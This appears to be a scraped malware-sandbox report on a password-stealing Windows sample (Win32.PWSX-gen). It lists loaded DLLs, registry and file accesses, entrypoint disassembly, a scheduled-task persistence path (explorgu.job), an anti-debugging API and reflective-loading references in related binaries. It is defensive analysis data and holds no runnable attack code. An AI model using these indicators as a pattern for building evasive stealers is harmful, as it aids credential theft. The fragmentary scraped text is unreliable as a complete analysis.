"00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00005332.00000000.65806.00871000.00000040.mdmp, 00000000-00005332.00000001.66148.00871000.00000040.mdmp") Found reference to API (Indicator: "CheckRemoteDebuggerPresent"; Source: "00000000-00005332.00000000.65806.02370000.00000040.mdmp, 00000000-00005332.00000001.66148.02370000.00000040.mdmp")2d:T1062,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "IMM32.DLL" at base 75e20000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "COMCTL32.DLL" at base 71520000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "SHFOLDER.DLL" at base 72340000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73840000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "KERNEL32.DLL" at base 75bd0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "OLE32.DLL" at base 760d0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "ADVAPI32.DLL" at base 753a0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "PROFAPI.DLL" at base 74d90000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 754e0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "SSPICLI.DLL" at base 74c10000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "RPCRT4.DLL" at base 75f50000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70290000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "KERNEL32" at base 75bd0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "CRYPTBASE.DLL" at base 74c80000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "CLBCATQ.DLL" at base 75450000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "COMCTL32.DLL" at base 73bd0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\MSTASK.DLL" at base 73300000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "SHLWAPI.DLL" at base 75e40000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "SHELL32.DLL" at base 76230000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "OLEAUT32.DLL" at base 75800000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "MPR.DLL" at base 71420000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 754e0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76230000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "DUI70.DLL" at base 735e0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "NTDLL.DLL" at base 76e80000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "UXTHEME.DLL" at base 73840000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "DUSER.DLL" at base 73900000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\DUSER.DLL" at base 73900000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "USER32.DLL" at base 75cb0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "DWMAPI.DLL" at base 73890000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\XMLLITE.DLL" at base 735b0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "OLEACC.DLL" at base 71ac0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 707f0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73970000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75bd0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "SETUPAPI.DLL" at base 75510000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "NTMARTA.DLL" at base 740e0000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "PROPSYS.DLL" at base 73970000 "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 02e:T429,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Search Gatherer Notification" (Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Scheduling Agent Service Class" (Path: "HKCU\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Progress Dialog" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8383852-FCD3-11D1-A6B9-006097DF5BD4}") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" touched "Task Bar Communication" (Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS")2f:T4ed,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543" file has an entrypoint instructions - "jmp 0xe1bfde,add byte ptr [eax], dl,push es,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax - 0x18], ah,add byte ptr [eax], al,add byte ptr [eax], al,pop ebp,sub ebp, 0x10,sub ebp, 0xa1bfd4,jmp 0xe1bffa,bound ecx, qword ptr [ebx - 0x2b47f344],mov edi, 0xc50300a1,add eax, 0x4c,mov ecx, 0x5c2,mov edx, 0xb64898b0,xor byte ptr [eax], dl,inc eax,dec ecx,jne 0xe1c011,jmp 0xe1c024,pop edi,je 0xe1c038,pop edx,cmp edi, dword ptr [ebp + 0x3b],cmp dword ptr [eax + esi*4 + 0x7131b0b0], ecx,dec eax,mov al, 0xb0,mov al, 0xb3,jge 0xe1c03d,mov dh, 0xb0," "explorgu.exe" file has an entrypoint instructions - "jmp 0xe1bfde,add byte ptr [eax], dl,push es,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax - 0x18], ah,add byte ptr [eax], al,add byte ptr [eax], al,pop ebp,sub ebp, 0x10,sub ebp, 0xa1bfd4,jmp 0xe1bffa,bound ecx, qword ptr [ebx - 0x2b47f344],mov edi, 0xc50300a1,add eax, 0x4c,mov ecx, 0x5c2,mov edx, 0xb64898b0,xor byte ptr [eax], dl,inc eax,dec ecx,jne 0xe1c011,jmp 0xe1c024,pop edi,je 0xe1c038,pop edx,cmp edi, dword ptr [ebp + 0x3b],cmp dword ptr [eax + esi*4 + 0x7131b0b0], ecx,dec eax,mov al, 0xb0,mov al, 0xb3,jge 0xe1c03d,mov dh, 0xb0,"30:Tc3f,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC3-D863-11E7-B9FF-806E6F6E6963}\"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}\"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\PROGID"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\PROGID"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCSERVER32"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCSERVER32"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER32"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER32"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\INPROCHANDLER"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "OPEN"; Path: "HKCU\APPID\SECURITEINFO.COM.WIN32.PWSX-GEN.18465.17543.EXE"; Key: ""; Value: "")31:Tda0,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC3-D863-11E7-B9FF-806E6F6E6963}"; Key: "DATA"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC3-D863-11E7-B9FF-806E6F6E6963}"; Key: "GENERATION"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}"; Key: "DATA"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}"; Key: "GENERATION"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}"; Key: ""; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\APPCOMPAT"; Key: "RAISEDEFAULTAUTHNLEVEL"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "DEFAULTACCESSPERMISSION"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")32:T7d5,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\version.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\version.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\FLTLIB.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe.Local\" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\SHFolder.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to touch file "C:\Windows\system32\SHFolder.dll"33:T832,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\version.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\FLTLIB.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SHFolder.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.ENU.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.EN.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SspiCli.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\MPR.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\DUI70.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\DUser.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\dwmapi.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\OLEACC.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\OLEACCRC.DLL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\00c07260dc\explorgu.exe" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\ntmarta.dll" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.DLL"34:T721,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe.Local\" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.ENU" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.EN" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "c:\users\%OSUSER%\appdata\local\temp\F59E91F8" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Windows\Tasks\explorgu.job" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\00c07260dc" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\desktop.ini" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SECURITEINFO.COM.WIN32.PWSX-GEN.18465.17543.EXE.LOCAL" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SECURITEINFO.COM.WIN32.PWSX-GEN.18465.17543.ENU" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\SECURITEINFO.COM.WIN32.PWSX-GEN.18465.17543.EN" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\F59E91F8" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Windows\Tasks\EXPLORGU.JOB" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\00C07260DC" "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" trying to access non-existent file "C:\DESKTOP.INI"35:T89f,"SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter C:\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter c:\windows (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter Windows (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter %WINDIR%\system32 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter System32 (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter c:\users (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter Users (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter c:\Users\%OSUSER% (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter %OSUSER% (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter %USERPROFILE%\appdata (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter AppData (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\local (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter Local (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\temp (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter Temp (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindFirstFileW" with parameter %USERPROFILE%\documents (UID: 00000000-00005332) "SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" called "FindNextFileW" with parameter Documents (UID: 00000000-00005332)36:T547,Found string "\Device\HarddiskVolume2\SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe" (Indicator: "\Device\"; Source: "00000000-00005332.00000000.65806.00500000.00000004.mdmp, 00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string "\Device\HarddiskVolume1\??\Volume{dcbfaac3-d863-11e7-b9ff-806e6f6e6963}" (Indicator: "\Device\"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005332.00000001.66148.00500000.00000004.mdmp")37:T75c,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "lumma1234.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "lumma1234.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "lumma1234.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "goldklassd_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "goldklassd_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "goldklassd_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "sadsadsadsa_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "sadsadsadsa_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "sadsadsadsa_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "sadsadsadsa_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Copy" in "sadsadsadsa_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "sadsadsadsa_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "RDX_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "RDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "RDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "RDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Copy" in "RDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "RDX_1_.exe"38:T432,file/memory 